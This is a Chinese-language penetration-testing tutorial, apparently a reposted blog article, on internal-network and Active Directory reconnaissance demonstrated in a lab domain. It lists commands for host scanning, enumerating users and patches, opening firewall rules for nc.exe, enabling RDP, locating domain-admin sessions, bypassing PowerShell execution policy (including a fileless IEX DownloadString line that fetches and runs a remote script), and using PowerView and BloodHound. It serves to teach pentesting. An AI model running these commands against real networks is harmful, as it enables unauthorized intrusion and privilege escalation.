内网渗透测试 之如何快速在域内收集信息

admin 2024年3月4日07:59:34评论20 views字数 8613阅读28分42秒阅读模式

前言

众所周知,外网的信息搜集是极其重要的,信息搜集的到位,渗透站点就可以事半功倍,内网渗透亦是如此,本文简述了内网信息搜集的部分方式,希望能对在学习内网的师傅们有所帮助。

域内信息搜集

域内存活主机探测

1、利用netbios快速探测内网

利用工具为Nbtscan,下载链接如下

http://unixwiz.net/tools/nbtscan.html#download

使用指令如下

nbtscan.exe IP

ShARING表示该机器有运行文件和打印共享服务

DC表示机器可能是域控

2、利用icmp协议快速探测内网

利用工具

1、ping命令,指令如下

for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

3、利用arp扫描完整探测内网

利用工具arp-scan

指令如下

arp-scan -t 192.168.1.0/24

4、利用常规TCP/UDP端口扫描探测内网

利用工具scanline

指令如下

sl -h -t 22,80-89,110,389,445,3389,8080,3306 -u 53,161,137,139 -O C:sl.txt -p 192.168.1.1-254 /b

表示探测192.168.1网段下的机器,探测22等端口,将结果输出至sl.txt文件中

5、PowerSploit

脚本下载地址如下

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1

无文件形式的探测指令如下

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1 -T 4 -ports '445,1433,80,8080,3389'"

无文件,即不下载文件,直接加载远程文件进行域内端口探测。

工作组信息搜集

本机信息搜集

1、查询网络配置

指令为ipconfig /all

通过此命令,我们可以看出该机器是否接入内网,例如我们这里的IP是192.168.1.2,明显为内网主机,同时可以看到主机名及域名等相关信息。

2、查询用户列表

指令如下

net user //查看本机用户列表

可以看出我们这里有三个账号,分别是123Administrator以及Guest

net localgroup administrator //查看本机管理员(通常含有域用户)

query user||qwinsta //查看在线用户

运行中的即是当前用户。

3、查询进程列表

指令如下

tasklist /v

可以看到当前运行的进程,主要有以下几个作用

1、判断是否存在杀软
2、查看运行进程的用户名(如果是管理员权限,可以考虑令牌窃取获取管理员权限)
3、查看是否存在虚拟机等其他可控机器

还有一个指令也可以查询进程

wmic process list brief

4、查询操作系统及安装软件版本信息

查询操作系统及版本信息,对应指令如下

systeminfo |findstr /B /C:"OS name" /C:"OS version" //如果是中文版把name和version翻译一下即可

查看安装软件名称,版本及路径等信息,对应指令如下

wmic product get name,version

可以看到安装的对应工具,如果是实战环境的话会有更多工具,如果版本存在漏洞的话就可以考虑提权等。

还有一个与它作用一致的指令

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

5、查看端口列表

查看端口列表对应指令如下

netstat -ano

可以看出开放的端口,如果在实战环境中,是能找到一些特征的,比如80,8081这种大概率开放的是Web服务,53开放则说明是DNS服务器,以及如果它是代理服务器的话,会有多台机器与其进行连接。

6、查询补丁列表

指令如下

systeminfo

这里因为是本地环境,没有补丁信息,如果是实战环境是会有补丁信息的。这个对于我们进行攻击有很大帮助,我们可以通过查看对应版本漏洞进行尝试攻击,如果没有打补丁攻击成功,那么说明域内其他同类主机很可能也是没有打补丁,可以进行攻击的。

查询补丁列表的另一指令

wmic qfe get description,installedOn

7、查询本机共享

net share

另一个可替代的命令

wmic share get name,path,status

8、防火墙

查询防火墙配置指令如下

netsh firewall show config

可以看到端口、协议等配置,不过我们这里关闭了防火墙,所以没有显现

自定义防火墙存储位置,指令如下

netsh advfirewall set currentprofile logging filename "C:windowstempfw.log"

修改防火墙配置,指令如下

A.Windows Server 2003及之前版本,允许指定程序全部连接指令
 netsh firewall add allowedprogram c:nc.exe "allow nc" enable
B.Windows Server 2003及之后版本
 允许指定程序接入指令如下
 netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:nc.exe"
 允许指定程序连出
 netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:nc.exe"
 允许3389端口放行
 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

9、查询并开启远程连接服务

查看远程服务开放端口指令

REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber

这里存储的是十六进制值,d3d转十进制后即为3389,说明远程服务开放端口为3389

Windows Server 2008和Windows Server 2012开启3389方法
wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 1
   
wmic /namespace:\rootcimv2terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
   
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

10、查看当前权限

whoami

有三种用户

1、普通用户
2、本地管理员
3、域用户

而后两者是可以查域信息的,我们这里如何判断是普通用户还是域用户呢,可以通过域名和主机名来判断,像我们这里查询出来的用户是testtestuser,我们可以看出它的用户名是Win7

它的域为test

说明这个是域用户

获取用户SID指令如下

whoami /all

获取指定用户的详细信息

net user xxx /domain

查找域管理进程

本机检查

本机检查分为如下三步

1、获取域管理员列表
2、查看本机所有进程
3、交叉

即先看下所有管理员,再看本机下有没有对应管理员,然后选择两者都有的

net group "domain admins" /domain

接下来查询本地进程

tasklist -v 

这里是演示,所以看起来都是管理员进程,如果在实战环境中是不会存在这样的情况的,如果在实战中,我们可能一个TESTAdministrator也遇不到,如果有的话,模拟域管理员进程即可获取域管理员权限。

查询域控制器的域用户会话

这里分为四步

1、收集域控制器的列表
2、收集域管理员的列表
3、使用Netsess.exe查询每个域控制器,收集所有活动域会话的列表
4、将域管理员列表与活动会话列表交叉引用,以确定哪些IP地址具有活动域令牌

在这里仍以本地搭建的域环境为例:

收集域控制器,所使用指令如下

net group "domain controllers" /domain

接下来查询域管理员,同本机检查中查询的指令即可

net group "domain admins" /domain

接下来我们这里在另一机器连接域控

net use \192.168.1.1ipc$ "Qq123456." /user:testadministrator

此时执行完后利用Netsess.exe收集域会话

注:Netsess可以在如下链接下载

joeware.net/freetools/tools/netsess/index.htm

此时可以发现成功找到了会话,与上文中查找到的管理员名称相同。

扫描远程系统上运行的任务

首先我们需要收集管理员列表,具体指令如下

net group "Domain Admins" /domain

运行脚本,内容如下

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL>output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n >NUL && echo [!] %n was found running a process on %i && pause

这里提示发现了管理员进程,我们查看output文件

可以看到管理员相关进程

扫描远程系统上NetBIOS信息

FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL>nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL && echo [!] %n was found logged into %i

ips.txt内存放域控地址,admins.txt则存放收集到的管理员名字。然后这里将与admins.txt中名字对应的筛选出来,将此类NetBIOS信息保存到了nbsessions.txt

FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL>nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL && echo [!] %n was found logged into %i

两个脚本的区别如下

nbtscan -f:这个命令用于执行 NetBIOS 扫描,探测网络中具有 NetBIOS 服务的主机。使用 -f 选项时,命令会从一个文件中读取 IP 地址列表,并对列表中的每个 IP 进行扫描。它将发送特定的 NetBIOS 请求到目标主机,以获取主机名、MAC 地址、组名等信息。使用 nbtscan 可以快速识别出网络中运行 NetBIOS 服务的主机。例如,nbtscan -f ips.txt 将会从 ips.txt 文件中逐行读取 IP 地址,并进行扫描。

nbtstat -A:这个命令用于在指定 IP 地址上进行 NetBIOS 会话和共享资源的查询。通过执行 nbtstat -A <IP>,可以获取指定主机的 NetBIOS 会话列表和共享打开文件资源的列表。它将返回登录到目标主机的用户列表、会话信息、共享信息等。使用 nbtstat 可以检查网络中计算机的连接状态和活动会话。例如,nbtstat -A 192.168.0.10 将会查询 IP 地址为 192.168.0.10 的主机的 NetBIOS 信息。    

这两个命令都与 NetBIOS 相关,但是nbtscan -f更侧重于进行整个局域网的扫描,而nbtstat -A则更侧重于查询单个主机的详细 NetBIOS 信息。

工具定位管理员

1、psloggedon.exe

工具链接如下

https://learn.microsoft.com/zh-cn/sysinternals/downloads/psloggedon

参数如下

-l 仅显示本地登录用户
-x 不显示时间
[\Computername|username]

使用时会弹出选择框,直接Agree即可

具体操作结果如下

可以看出获取到了登录用户,登录时间等信息。

2、PVEFindADUser.exe

https://github.com/chrisdee/Tools/blob/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe

此工具用于查找域内AD用户登录位置,可以枚举域用户,查找在特定计算机下登录的用户,可以查找本地登录用户,查找RDP登录账号等。

前提条件

1、.NET2.0版本
2、管理员权限

使用指令为

PVEFindADUser.exe -current

3、Powershell

使用指令为Invoke-UserHunter

这里仅为本地测试,所以指令如下

Set-ExecutionPolicy Unrestricted //赋予执行脚本权限
Import-Module .PowerView.ps1 //导入脚本
Invoke-UserHunter //获取域管理员当前在线主机

正常情况下我们是没有权限更改脚本执行权限的,所以我们更多的是绕过来进行执行语句,绕过语句如下

powershell -exec bypass -command "& (import-module C:UsersAdministratorDesktopPowerView.psl;Invoke-UserHunter)"

信息搜集工具

Powershell

默认是关闭ps脚本执行权限的,我们可以通过如下指令查询

Get-ExecutionPolicy

这里可以发现是Restricted,这个其实有四种情况

1、Restricted 不允许加载脚本
2、Allsigned 只执行有签名的脚本
3、UnRestricted 执行任意脚本
4、Remotestricted 本地不限制,远程需要签名才能执行

因此我们想要执行脚本的话需要进行开启,指令如下

Set-ExecutionPolicy Unrestricted

此时可以看到已变成最高权限

不过我们在真实环境中大多数情况是没有管理员密码的,所以现实情况是用的绕过多些,而不是直接修改权限。

这里接下来我们需要去下载我们的脚本,对应链接如下

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

而后就可以进行导入了

import-module .PowerView.ps1

此时可以看出导入成功

使用

1、获取当前用户所在域名称

Get-NetDomain

可以看出当前用户所在域名称为test.lab

2、获取所有用户详细信息

Get-Netuser

可以看出返回了所有用户的相关信息,包括但不限于用户名、登录时间、密码设置策略。

3、获取所有域控制器

Get-NetDomainController

因为是本地测试环境,我们这里只有一个域控,所以只查询出了一个。

4、获取所有域内机器详细信息

Get-Netcomputer

可以看到查询处了我们同域下的另一台机器,即WIN-7。

5、获取域中OU信息

GET-NetOU

6、获取所有域内组和组成员信息

Get-NetGroup

7、根据SPN获取当前域使用的文件服务器

Get-NetFileServer

8、获取当前域内所有共享

Get-NetShare

9、获取在指定机器存在的Session信息

Get-NetSession

10、获取在指定机器存在的远程连接信息

Get-NetRDPSession

可以看到连接状态等信息

11、获取远程主机的进程信息

Get-NetProcess

12、获取指定用户日志信息

Get-UserEvent

13、获取活动目录的对象信息

Get-ADObject

这个信息较多,是因为有AD的机器属于我们的域控,所有的信息都记录在内

14、获取域所有组策略对象

Get-NETGPO

15、获取域默认或域控制器策略

Get-DomainPolicy

16、用于获取域用户登陆计算机及该用户是否有本地管理权限

Invoke-UserHunter

抓到了登录过的用户名及机器信息

17、查找域内所有机器进程用于找到某特定用户

Invoke-ProcessHunter

18、根据用户日志获取某域用户登陆过哪些域机器

Invoke-UserEventHunter

绕过

接下来我们模拟真实场景,恢复权限为默认权限

此时再尝试加载可以发现是失败的

接下来我们假设场景中存在Cmd,我们这里通过cmd来实现执行powershell下的某个命令

先试试常规调用

powershell "import-module C:UsersAdministratorDesktopPowerView.psl;Get-Netuser"

再加上绕过语句

powershell -exec bypass "import-module C:UsersAdministratorDesktopPowerView.psl;Get-Netuser"

可以发现前者不能执行指令,后者成功执行指令,绕过成功。

BloodHound

安装

前提条件如下

1、安装JDK环境
2、安装Neo4j数据库

所以我们接下来首先来安装JDK,链接如下

https://www.oracle.com/java/technologies/downloads/#java11

而后传到受害机即可,这里是我们本地虚拟机演示,所以直接Vm文件共享就可以,默认安装即可。

安装完JDK后,接下来需要安装Neo4j数据库

下载链接如下

https://neo4j.com/artifact.php?name=neo4j-community-3.4.4-windows.zip

而后同上,传入虚拟机后点击bin目录下,启动cmd,输入如下指令

neo4j.bat install-service
net start neo4j

此时可以看到启动成功,接下来我们尝试访问

这里提示需要账密登录

Host默认为 bolt://127.0.0.1:7687

User默认为 neo4j

Password默认为 neo4j

而后需要重置密码,在这里随意输入即可

此时前提工作已完成。接下来去安装工具即可,链接如下

https://github.com/BloodHoundAD/BloodHound/releases/download/3.0.2/BloodHound-win32-x64.zip

点击Login即可登录

使用

进入后界面如下

左上角的三个选项分别是数据库信息、节点信息、查询模块,映入眼帘所显示的分别是所分析域的用户数量、计算机数量、组数量、Sessions数量、ACLs数量、关系,我们可以在右边第四个窗口进行上传数据,BloodHound会帮助我们分析并展示数据。

点击Query,可以发现常用的功能

对应功能如下

1、查找所有域管理员

2、寻找最短到达域管理员路径

3、寻找管理员登陆记录

4、存在Session记录最多的前十个用户

5、存在Session记录最多的前十个计算机

6、拥有最多本地管理权限的前十个用户

7、拥有最多的管理员登陆的前十个机器

8、具有外部域组成员的用户

9、具有外部域组成员的组

10、域信任地图

11、SPN用户的最短路径

12、SPN用户到域管理员的最短路径

当存在数据时,点击用户可查看具体信息,包括修改密码时间等。

此工具绝大多数信息来自一个脚本,链接如下

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/DebugBuilds/SharpHound.ps1

接下来尝试用此脚本进行测试

SharpHound.exe -c all

正常的话是会输出数个文件的,然后将其导入BloodHound是可以看到可视化数据的,然后就是可以看到域内各种信息,点击用户可以看见详细信息

不过我这里出现了点差错,百度后说是NETFRame版本更新即可,但我更新后仍无效,所以这里不再进一步演示。

正常情况下的话,这里可以生成数据,而后我们将数据导入到BloodHound中,可以看到可视化图形,点击每台机器,可以看到主机名等相关信息。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月4日07:59:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透测试 之如何快速在域内收集信息http://cn-sec.com/archives/2092853.html

发表评论

匿名网友 填写信息